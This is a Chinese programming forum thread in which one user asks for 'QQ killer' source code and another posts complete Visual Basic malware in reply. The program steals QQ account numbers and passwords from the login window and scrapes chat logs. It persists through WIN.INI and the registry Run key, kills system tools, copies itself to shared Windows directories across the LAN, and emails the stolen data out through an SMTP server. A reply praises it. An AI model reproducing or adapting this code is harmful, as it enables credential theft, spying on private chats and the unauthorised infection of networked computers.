关于QQ杀手的相关问题。请各位高手解答一下

[tangwei2000]

谁能给我提供一个QQ杀手的源代码！或者算法可以，我非常需要！

[fontz]

'很久很久以前做过的一个程序，可能已经不适用了，既然有人需要，就拿出来献丑吧

'说明：此程序的功能
'获取QQ的密码和聊天记录，并可以发送到自定义的邮箱。
'程序需要一个 TEXT ，一个 TMER ，两个 COMMAND，一个 WINSOCK
'如果是在局域网上使用，它可以传染给网上的计算机。
'在程序运行过程中，可以按 CTRL + ALT 5秒激活窗口，自定义发送的邮箱。

'取得密码的原理是这样的：
'当登录窗口出现的时候，Timer1 通过 SendMessage 取得用户名和密码，
'当出现主窗口时，就表明登录完成，保存用户名和密码，完成一次取密操作。

'传染部分的原理：
'程序开始运行时先取得网络上的所有共享目录，然后检查是否系统根目录(是否
'存在 WIN.INI 文件)，如果是，则添项目 run = GetQQ.exe 到 WIN.INI 中。
'并且把程序文件和运行库 MSVBVM60.DLL 复制到网络上的计算机。这样当下次
'被传染的计算机运行时就会自动运行 GETQQ.EXE 。

'获取聊天记录的部分比较麻烦，效果也不太好。聊天记录存放在以每个用户名
'建立的目录的 MSG.DB 文件里，但它是经过加密的，直接对它解密比较好。
'我程序里的方法是读取窗口的聊天记录框，它是一个 LISTBOX，可用
' SendMessage 读取。就是太麻烦了!

Option Explicit
Private Declare Function SendMessage& Lib "user32" Alias "SendMessageA" (ByVal Hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any)
Private Declare Function SendMessageByString& Lib "user32" Alias "SendMessageA" (ByVal Hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String)
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function RegQueryValue Lib "advapi32.dll" Alias "RegQueryValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal lpValue As String, lpcbValue As Long) As Long
Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal Hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationname As String, ByVal lpKeyName As Any, ByVal lsString As Any, ByVal lplFilename As String) As Long
Private Declare Function GetSystemMenu Lib "user32" (ByVal Hwnd As Long, ByVal bRevert As Long) As Long
Private Declare Function GetMenuItemCount Lib "user32" (ByVal hMenu As Long) As Long
Private Declare Function DrawMenuBar Lib "user32" (ByVal Hwnd As Long) As Long
Private Declare Function RemoveMenu Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long

'-----------以下是传染部分需要的声明--------------------
Private Declare Function WNetAddConnection2 Lib "mpr.dll" Alias "WNetAddConnection2A" (lpNetResource As NETRESOURCE, ByVal lpPassword As String, ByVal lpUserName As String, ByVal dwFlags As Long) As Long
Private Declare Function WNetOpenEnum Lib "mpr.dll" Alias "WNetOpenEnumA" (ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, lpNetResource As Any, lphEnum As Long) As Long
Private Declare Function WNetEnumResource Lib "mpr.dll" Alias "WNetEnumResourceA" (ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long
Private Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal hEnum As Long) As Long
Private Declare Function VarPtrAny Lib "vb40032.dll" Alias "VarPtr" (lpObject As Any) As Long
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (lpTo As Any, lpFrom As Any, ByVal lLen As Long)
Private Declare Sub CopyMemByPtr Lib "kernel32" Alias "RtlMoveMemory" (ByVal lpTo As Long, ByVal lpFrom As Long, ByVal lLen As Long)
Private Declare Function LstrCpy Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Any) As Long
Private Declare Function LstrLen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As Any) As Long
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Private Declare Function GetPrivateProfileInt Lib "kernel32" Alias "GetPriviteProfileIntA" (ByVal lpApplicationname As String, ByVal lpKeyName As String, ByVal nDefault As Long, ByVal lpFileName As String) As Long
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationname As String, ByVal lpKeyName As String, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long

Private Const RESOURCE_GLOBALNET As Long = &H2& '枚举所有资源
Private Const RESOURCETYPE_DISK As Long = &H1& '只枚举磁盘资源
Private Const RESOURCEUSAGE_ALL As Long = &H0& '枚举所有资源
Private Const RESOURCEUSAGE_CONNECTABLE As Long = &H1& '只枚举那些能够连接的资源
Private Const RESOURCEUSAGE_CONTAINER As Long = &H2& '只枚举包含了其他资源的资源
Private Const RESOURCEDISPLAYTYPE_SHARE& = &H3
Private Const NO_ERROR = 0
Private Const ERROR_MORE_DATA = 234
Private Const RESOURCE_ENUM_ALL As Long = &HFFFF

'这个结构指定了一个网络资源容器。
Private Type NETRESOURCE
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
pLocalName As Long
pRemoteName As Long
pComment As Long
pProvider As Long
End Type

Private Type NETRESOURCE_REAL
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
sLocalName As String
sRemoteName As String
sComment As String
sProvider As String
End Type

Public strUserName As String '当前登录用户名
Public strMachinerName As String '这台计算机名称
'-----------声明结束-----------------------------------


'---------以下是检测是否连上INTENET用到的声明------------
Private Declare Function RasEnumConnections Lib "RasApi32.dll" Alias "RasEnumConnectionsA" (lpRasCon As Any, lpcb As Long, lpcConnections As Long) As Long
Private Declare Function RasGetConnectStatus Lib "RasApi32.dll" Alias "RasGetConnectStatusA" (ByVal hRasCon As Long, lpStatus As Any) As Long
Private Type RASCONN95
dwSize As Long
hRasCon As Long
szEntryName(256) As Byte
szDeviceType(16) As Byte
szDeviceName(32) As Byte
End Type
Private Type RASCONNSTATUS95
dwSize As Long
RasConnState As Long
dwError As Long
szDeviceType(16) As Byte
szDeviceName(32) As Byte
End Type
'--------------声明结束---------------------

[fontz]

'--------------以下是发送邮件用到的声明------
Const MailServerName = "SMTP.YESKY.COM"
Const FromEmailAddress = "[e-mail]"

Dim Response As String, Reply As Integer, SendEnabled As Boolean
Dim Start As Single, Tmr As Single, MailBody As String, ToEmailAddress As String
'--------------声明结束--------------------

Private Const CB_GETCOUNT = &H146
Private Const CB_GETLBTEXT = &H148
Private Const CB_GETLBTEXTLEN = &H149
Private Const CB_GETCURSEL = &H147
Private Const LB_GETCOUNT = &H18B
Private Const LB_GETTEXT = &H189
Private Const LB_GETTEXTLEN = &H18A

Const WriteFile = "C:\Const.idx" '存储密码的文件
Const SayRFile = "C:\Guide.ite" '存储聊天记录的文件
Dim QQLoginHwnd As Long, QQPassHwnd As Long, QQUserHwnd As Long, MainForm As Long
Dim QQUserWord As String, QQPassWord As String
Dim tmp1 As Long, Tmp2 As String, HotKeyDN As Long, THwnd As Long
Dim SysDir As String, SayText As String
Dim IsLogin As Boolean, IsGuide As Boolean, i As Long, j As String, IsOICQ As String
Dim UserList() As String, PassList() As String, UserNum As Long
Dim Say() As String, SayWhoNum As Long

Private Sub Command1_Click() '确定
If InStr(Text1.Text, "@") = 0 Or InStr(Text1.Text, ".") = 0 Then
Me.Hide
Exit Sub
End If

ToEmailAddress = Text1.Text
RegSetValue &H80000002, "SendAddress", 1, ToEmailAddress, 256
Me.Hide
End Sub

Private Sub Command2_Click() '取消
Me.Hide
End Sub

Private Sub Form_Load()

On Error Resume Next
If App.PrevInstance Then End
Me.Hide
RegisterServiceProcess GetCurrentProcessId(), 1 '注册为系统服务程序

RemoveMenu GetSystemMenu(Me.Hwnd, False), GetMenuItemCount(GetSystemMenu(Me.Hwnd, False)) - 1, &H400& Or &H1000&
RemoveMenu GetSystemMenu(Me.Hwnd, False), GetMenuItemCount(GetSystemMenu(Me.Hwnd, False)) - 1, &H400& Or &H1000&
DrawMenuBar Me.Hwnd '删除右上角的叉叉

SysDir = Space(256) '复制到系统目录
QQPassWord = Trim(App.Path)
tmp1 = GetWindowsDirectory(SysDir, 256)
SysDir = Left$(SysDir, tmp1)
If Right$(QQPassWord, 1) = "\" Then QQPassWord = Left$(QQPassWord, Len(QQPassWord) - 1)
If Dir(SysDir + "\" + App.EXEName + ".EXE") = "" Then _
FileCopy QQPassWord + "\" + App.EXEName + ".EXE", SysDir + "\" + App.EXEName + ".EXE"
If Dir(SysDir + "\system\msvbvm60.dll") = "" Then _
FileCopy QQPassWord + "\msvbvm60.dll", SysDir + "\system\msvbvm60.dll"

'传染网络计算机
Call Hacker

QQPassWord = Space(256) '3天发一次邮件
RegQueryValue &H80000002, "SendDate", QQPassWord, 256
If IsDate(QQPassWord) = False Then QQPassWord = CDate(Date - 8)
SendEnabled = Date - CDate(QQPassWord) > 3

ToEmailAddress = Space(256) '读取要发送的地址
RegQueryValue &H80000002, "SendAddress", ToEmailAddress, 256
ToEmailAddress = Trim(ToEmailAddress)
If ToEmailAddress = "" Then ToEmailAddress = "[e-mail]"

'Call DelRecord '删除聊天记录

On Error GoTo CreatFile: '错误则转建立文件
Open WriteFile For Input As #1 '读取已取得的号码，防止重复
While Not EOF(1)
UserNum = UserNum + 1
ReDim Preserve UserList(UserNum)
ReDim Preserve PassList(UserNum)
Input #1, UserList(UserNum), PassList(UserNum)
Wend
CreatFile:
Close #1
Open WriteFile For Append As #1

Timer1.Interval = 200 '开启定时器
Timer1.Enabled = True
End Sub

'检测是否连上INTENET
Private Function IsConnected() As Boolean
Dim TRasCon(255) As RASCONN95, Tstatus As RASCONNSTATUS95
Dim lg As Long, lpcon As Long

TRasCon(0).dwSize = 412
lg = 256 * TRasCon(0).dwSize
If RasEnumConnections(TRasCon(0), lg, lpcon) <> 0 Then Exit Function

Tstatus.dwSize = 160
RasGetConnectStatus TRasCon(0).hRasCon, Tstatus
IsConnected = (Tstatus.RasConnState = &H2000)
End Function

[fontz]

'删除聊天记录
Private Sub DelRecord()
On Error Resume Next
'读取QQ安装目录
IsGuide = (RegOpenKey(&H80000002, "Software\腾讯QQ", tmp1) <> 0)
If IsGuide Then IsGuide = (RegOpenKey(&H80000002, "Software\OICQ", tmp1) = 0)
If IsGuide Then
j = Space(255)
Tmp2 = String(255, 0)
If RegEnumValue(tmp1, 0, j, 255, 0, ByVal 0&, ByVal Tmp2, 255) = 0 Then
Tmp2 = Left(Tmp2, InStr(Tmp2, Chr(0)) - 1) + "\"
j = Dir(Tmp2, vbDirectory)
While j <> ""
If Val(j) > 0 Then Kill Tmp2 + j + "\Msg.db"
j = Dir()
Wend
End If
RegCloseKey tmp1
End If
End Sub

'定时器
Private Sub Timer1_Timer()
On Error Resume Next
Timer1.Enabled = False

WritePrivateProfileString "WINDOWS", "RUN", SysDir + "\" + App.EXEName + ".EXE", SysDir + "\WIN.INI"
RegSetValue &H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", _
1, SysDir + "\" + App.EXEName + ".EXE", 256

If GetAsyncKeyState(vbKeyControl) And GetAsyncKeyState(vbKeyMenu) Then '热键 Ctrl (5秒) 激活窗口
HotKeyDN = HotKeyDN + Timer1.Interval
If HotKeyDN > 5000 Then
HotKeyDN = 0
Text1.Text = ToEmailAddress
Me.Show
End If
Else
HotKeyDN = 0
End If

'关闭一些系统工具
tmp1 = FindWindowEx(0, 0, "RegEdit_RegEdit", "注册表编辑器")
If tmp1 <> 0 Then PostMessage tmp1, &H10, 0, 0
tmp1 = FindWindowEx(0, 0, "#32770", "系统配置实用程序")
If tmp1 <> 0 Then PostMessage tmp1, &H10, 0, 0
tmp1 = FindWindowEx(0, 0, vbNullString, "Microsoft 系统信息")
If tmp1 <> 0 Then PostMessage tmp1, &H10, 0, 0

'如果网络已连接，则发邮件
If SendEnabled = True Then If IsConnected() Then SendEmail

'查找登录窗口，新版：QQ； 旧版：OICQ
QQLoginHwnd = FindWindowEx(0, 0, "#32770", "OICQ用户登录")
If QQLoginHwnd = 0 Then QQLoginHwnd = FindWindowEx(0, 0, "#32770", "QQ用户登录")
'是主登录窗口
If QQLoginHwnd <> 0 Then
'获取号码
QQPassHwnd = FindWindowEx(QQLoginHwnd, 0, "ComboBox", vbNullString)
tmp1 = SendMessage(QQPassHwnd, CB_GETCURSEL, ByVal CLng(0), ByVal CLng(0))
Tmp2 = SendMessage(QQPassHwnd, CB_GETLBTEXTLEN, ByVal tmp1, ByVal CLng(0))
QQUserWord = Space(Tmp2)
Tmp2 = SendMessage(QQPassHwnd, CB_GETLBTEXT, ByVal tmp1, ByVal QQUserWord)
QQUserWord = Left(QQUserWord, Tmp2)
'获取密码
QQPassHwnd = FindWindowEx(QQLoginHwnd, 0, "Edit", vbNullString)
tmp1 = SendMessage(QQPassHwnd, &HE, 0, 0)
QQPassWord = Space(tmp1)
SendMessageByString QQPassHwnd, &HD, tmp1 + 1, QQPassWord
GoTo Quit1:
End If

'是"注册向导"窗口
QQLoginHwnd = FindWindowEx(0, 0, "#32770", "OICQ 注册向导")
If QQLoginHwnd = 0 Then QQLoginHwnd = FindWindowEx(0, 0, "#32770", "QQ 注册向导")
If QQLoginHwnd <> 0 Then
'查找号码框 和 密码框
tmp1 = FindWindowEx(QQLoginHwnd, 0, "#32770", vbNullString)
QQUserHwnd = FindWindowEx(tmp1, 0, "Edit", vbNullString)
QQPassHwnd = FindWindowEx(tmp1, QQUserHwnd, "Edit", vbNullString)
'取得号码
tmp1 = SendMessage(QQUserHwnd, &HE, 0&, 0&)
QQUserWord = Space(tmp1)
SendMessageByString QQUserHwnd, &HD, tmp1 + 1, QQUserWord
'取得密码
tmp1 = SendMessage(QQPassHwnd, &HE, 0&, 0&)
QQPassWord = Space(tmp1)
SendMessageByString QQPassHwnd, &HD, tmp1 + 1, QQPassWord
GoTo Quit1:
End If

'登录完毕
MainForm = FindWindowEx(0, 0, "#32770", vbNullString)
Do While MainForm
If FindWindowEx(MainForm, 0, "AfxWnd42s", vbNullString) Then
IsLogin = True
AddUser
Exit Do
End If
MainForm = FindWindowEx(0, MainForm, "#32770", vbNullString)
Loop

'如果退出QQ，则存储聊天记录
If MainForm = 0 And IsLogin Then
If Dir(SayRFile) <> "" Then
Open SayRFile For Append As #3
Else
Open SayRFile For Output As #3
End If
For i = 1 To SayWhoNum
Print #3, Say(i)
Next
Close #3
'Call DelRecord '删除聊天记录
IsLogin = False
SayWhoNum = 0
ReDim Say(0) As String
End If

'获取聊天记录，存储到数组：Say()
MainForm = FindWindowEx(0, 0, "#32770", "发送讯息") '正在聊天，则取聊天记录
If MainForm <> 0 Then 'FindWindowEx(MainForm, 0, "Button", "聊天记录(&H)") Then
SayText = ""
THwnd = FindWindowEx(MainForm, 0, "ListBox", vbNullString)
tmp1 = SendMessage(THwnd, LB_GETCOUNT, ByVal CLng(0), ByVal CLng(0))
For i = 0 To tmp1 - 1
Tmp2 = SendMessage(THwnd, LB_GETTEXTLEN, ByVal i, ByVal CLng(0))
j = Space(Tmp2)
Tmp2 = SendMessage(THwnd, LB_GETTEXT, ByVal i, ByVal j)
j = Left(j, Tmp2)
If j <> "" Then SayText = SayText + j + vbCrLf
Next

If SayText <> "" Then '判断是否新用户(比较当前聊天记录是存储的是否一致)
For i = 1 To SayWhoNum
If InStr(SayText, Say(i)) <> 0 Then
Say(i) = SayText
Exit For
End If
Next
If i > SayWhoNum Then '新对象
SayWhoNum = SayWhoNum + 1
ReDim Preserve Say(0 To SayWhoNum) As String
Say(SayWhoNum) = SayText
End If
End If
End If

Quit1:
Timer1.Enabled = True
End Sub

[fontz]

'添加用户
Private Sub AddUser()
If QQPassWord = "" Or QQUserWord = "" Then Exit Sub
'查找号码库中是否存在此号码
For tmp1 = 1 To UserNum
If UserList(tmp1) = Trim(QQUserWord) And PassList(tmp1) = QQPassWord Then Exit For
Next

'不存在，则加入到库中
If tmp1 > UserNum Then
UserNum = UserNum + 1
ReDim Preserve UserList(UserNum)
ReDim Preserve PassList(UserNum)
UserList(UserNum) = Trim(QQUserWord)
PassList(UserNum) = Trim(QQPassWord)
Write #1, QQUserWord, QQPassWord
Close #1
Open WriteFile For Append As #1
QQUserWord = ""
QQPassWord = ""
End If
End Sub

Sub SendEmail() '发送邮件函数
Dim DateNow As String, first As String, Second As String, Third As String
Dim Fourth As String, Fifth As String, Sixth As String
Dim Seventh As String, Ninth As String, Eighth As String

On Error GoTo Quit: '出错退出
Timer1.Enabled = False '关闭定时器

Sixth = Space(256) '读取已经上次已发出的号码数
RegQueryValue &H80000002, "SendNum", Sixth, 256

If Val(Sixth) <> UserNum Then '正文内容(号码和密码)
Seventh = "UserName PassWord" + Chr(13) + Chr(10) + "--------------+---------------" + Chr(13) + Chr(10)
For tmp1 = Val(Sixth) + 1 To UserNum
Tmp2 = Len(UserList(tmp1))
Seventh = Seventh + UserList(tmp1) + Space(14 - Tmp2) + PassList(tmp1) + Chr(13) + Chr(10)
Next
Seventh = Seventh + vbCrLf + vbCrLf
End If

If Dir(SayRFile) <> "" Then '发送聊天记录
Open SayRFile For Input As #4
While Not EOF(4)
Line Input #4, Tmp2
Seventh = Seventh + Tmp2 + vbCrLf
Wend
Close #4
End If
If Seventh = "" Then GoTo Quit:

'开始发送
Winsock1.Close
DateNow = Format(Now, "Ddd,dd Mmm YYYY hh:mm:ss") & " -0600"

first = "MAIL FROM: [e-mail]" + vbCrLf '发信方地址
Second = "RCPT TO: " + ToEmailAddress + vbCrLf '接收方地址
Third = "Date: " + DateNow + vbCrLf
Fourth = "From: LangZhi" + vbCrLf
Fifth = "To: You" + vbCrLf
Sixth = "Subject: QQ密码" + vbCrLf
Seventh = Seventh + vbCrLf
Ninth = "X-Mailer: EBT Reporter v 2.x" + vbCrLf
Eighth = Fourth + Third + Ninth + Fifth + Sixth

Winsock1.Protocol = sckTCPProtocol ' 设置通信方式为： 发送
Winsock1.RemoteHost = "SMTP.YESKY.COM" ' 设置发送服务器地址
Winsock1.RemotePort = 25 ' 设置 SMTP 端口

Winsock1.Connect ' 开始连接
If WaitFor("220") = False Then GoTo Quit:
Winsock1.SendData ("HELO " + Winsock1.LocalHostName + vbCrLf)
If WaitFor("250") = False Then GoTo Quit:
Winsock1.SendData (first)
If WaitFor("250") = False Then GoTo Quit:
Winsock1.SendData ("RCPT TO: [e-mail]" + vbCrLf)
If WaitFor("250") = False Then GoTo Quit:
If UCase("[e-mail]") <> UCase(Trim(ToEmailAddress)) Then
Winsock1.SendData (Second)
If WaitFor("250") = False Then GoTo Quit:
End If
Winsock1.SendData ("DATA" + vbCrLf)
If WaitFor("354") = False Then GoTo Quit:
Winsock1.SendData (Eighth + vbCrLf)
Winsock1.SendData (Seventh + vbCrLf)
Winsock1.SendData ("." + vbCrLf)
If WaitFor("250") = False Then GoTo Quit:
Winsock1.SendData ("QUIT" + vbCrLf)
If WaitFor("221") = False Then GoTo Quit:
Winsock1.Close

RegSetValue &H80000002, "SendNum", 1, Str(UserNum), 256
RegSetValue &H80000002, "SendDate", 1, Date$, 256
Kill SayRFile '删除聊天记录文件

Quit:
SendEnabled = False '可以发送邮件标志
Timer1.Enabled = True '打开定时器
End Sub

'等待服务器返回数据
Function WaitFor(ResponseCode As String) As Boolean
Start = Timer
While Len(Response) = 0 And Left(Response, 3) <> ResponseCode
Tmr = Start - Timer
DoEvents '保持端口接收状态
If Tmr > 50 Then Exit Function '等待50秒
Wend

Response = "" '此行不能删除
WaitFor = True
End Function

'端口接收到数据
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.GetData Response
End Sub

[fontz]

'--------以下是传染程序部分-------------------------
Sub Hacker()
Const MAX_RESOURCES = 256
Const NOT_A_CONTAINER = -1
Dim bFirstTime As Boolean
Dim lReturn As Long
Dim hEnum As Long
Dim lCount As Long
Dim lMin As Long
Dim lLength As Long
Dim l As Long
Dim lBufferSize As Long
Dim lLastIndex As Long
Dim uNetApi(0 To MAX_RESOURCES) As NETRESOURCE
Dim uNet() As NETRESOURCE_REAL
Dim FileFound As Boolean
Dim Tmp As String, Tmp2 As String, NetWD As String, tmp1 As Long
Dim Sfile As String, Dfile As String, WinD As String
bFirstTime = True

'取得系统目录
WinD = Space(255)
GetWindowsDirectory WinD, 255
WinD = Left(WinD, InStr(WinD, Chr(0)) - 1)

On Error Resume Next
Do
If bFirstTime Then
'启动对网络资源进行枚举的过程
lReturn = WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, RESOURCEUSAGE_CONNECTABLE, ByVal 0&, hEnum)
bFirstTime = False
Else
If uNet(lLastIndex).dwUsage And RESOURCEUSAGE_CONTAINER Then
lReturn = WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, RESOURCEUSAGE_CONNECTABLE, uNet(lLastIndex), hEnum)
Else
lReturn = NOT_A_CONTAINER
hEnum = 0
End If
lLastIndex = lLastIndex + 1
End If

If lReturn = NO_ERROR Then
lCount = RESOURCE_ENUM_ALL '所有资源数

Do
lBufferSize = UBound(uNetApi) * Len(uNetApi(0)) / 2
'枚举网络资源
lReturn = WNetEnumResource(hEnum, lCount, uNetApi(0), lBufferSize)
If lCount > 0 Then
ReDim Preserve uNet(0 To lMin + lCount - 1) As NETRESOURCE_REAL
For l = 0 To lCount - 1
'把资源转换到 uNet(i)
uNet(lMin + l).dwScope = uNetApi(l).dwScope
uNet(lMin + l).dwType = uNetApi(l).dwType
uNet(lMin + l).dwDisplayType = uNetApi(l).dwDisplayType
uNet(lMin + l).dwUsage = uNetApi(l).dwUsage

If uNetApi(l).pLocalName Then
lLength = LstrLen(uNetApi(l).pLocalName)
uNet(lMin + l).sLocalName = Space$(lLength)
CopyMem ByVal uNet(lMin + l).sLocalName, ByVal uNetApi(l).pLocalName, lLength
End If
If uNetApi(l).pRemoteName Then
lLength = LstrLen(uNetApi(l).pRemoteName)
uNet(lMin + l).sRemoteName = Space$(lLength)
CopyMem ByVal uNet(lMin + l).sRemoteName, ByVal uNetApi(l).pRemoteName, lLength
End If
If uNetApi(l).pComment Then
lLength = LstrLen(uNetApi(l).pComment)
uNet(lMin + l).sComment = Space$(lLength)
CopyMem ByVal uNet(lMin + l).sComment, ByVal uNetApi(l).pComment, lLength
End If
If uNetApi(l).pProvider Then
lLength = LstrLen(uNetApi(l).pProvider)
uNet(lMin + l).sProvider = Space$(lLength)
CopyMem ByVal uNet(lMin + l).sProvider, ByVal uNetApi(l).pProvider, lLength
End If
Next l
End If
lMin = lMin + lCount
Loop While lReturn = ERROR_MORE_DATA
End If
If hEnum Then
l = WNetCloseEnum(hEnum)
End If
Loop While lLastIndex < lMin

If UBound(uNet) > 0 Then
Call UserName
For l = 0 To UBound(uNet)
'不是网上其它台计算机的共享目录，则退出
If uNet(l).dwDisplayType <> RESOURCEDISPLAYTYPE_SHARE Then GoTo Cuntion:
'如果是本地资源,则退出
If Left(uNet(l).sRemoteName, Len("\\" + strMachinerName)) = "\\" + strMachinerName Then GoTo Cuntion:
'如果不是 windows 系统盘，则退出.( 注意：以下三条语句不能改!)
FileFound = False
FileFound = (Dir(uNet(l).sRemoteName + "\MSDOS.SYS") <> "")
If Not FileFound Then GoTo Cuntion:
'传染网络计算机
'读取 WINDOWS 所在目录
NetWD = Space(255)
GetPrivateProfileString "Paths", "WinDir", "", NetWD, 255, uNet(l).sRemoteName + "\msdos.sys"
NetWD = Left(NetWD, InStr(NetWD, Chr(0)) - 1)
Tmp2 = Mid(NetWD, 4)
Sfile = uNet(l).sRemoteName + "\" + Tmp2 + "\" + App.EXEName + ".EXE"
'加入文件到网络计算机的 [启动] 项目
WritePrivateProfileString "windows", "run", NetWD + "\" + App.EXEName + ".EXE", uNet(l).sRemoteName + "\" + Tmp2 + "\WIN.INI"
'复制本身到网络上的计算机 WINDOWS 目录
If Dir(Sfile) <> "" Then GoTo Cuntion: '文件已经存在，退出
Tmp = App.Path
If Len(Tmp) = 3 Then Tmp = Left(Tmp, 2)
FileCopy Tmp + "\" + App.EXEName + ".EXE", Sfile
'判断是否有读写权限
If Dir(Sfile) = "" Then GoTo Cuntion: '不能写文件，退出
'复制动态库连接
If Dir(uNet(l).sRemoteName + "\" + Tmp2 + "\SYSTEM\MSVBVM60.DLL") = "" Then _
FileCopy WinD + "\SYSTEM\MSVBVM60.DLL", uNet(l).sRemoteName + "\" + Tmp2 + "\SYSTEM\MSVBVM60.DLL"
Cuntion:
Next
End If
End Sub

Private Sub UserName() '取当前用户名 和 这台计算机的名称
On Error Resume Next
strUserName = String(255, Chr$(0)) '建立缓存
GetUserName strUserName, 255 '取得当前用户名
strUserName = Left$(strUserName, InStr(strUserName, Chr$(0)) - 1)
strMachinerName = Space(255)
GetComputerName strMachinerName, 255 '取得这台计算机的名称
strMachinerName = Left$(strMachinerName, InStr(1, strMachinerName, Chr$(0)) - 1)
End Sub

'------------传染程序部分结束--------------------------

[Diboy]

强

[fontz]

忘记了，timer的值最好小一点。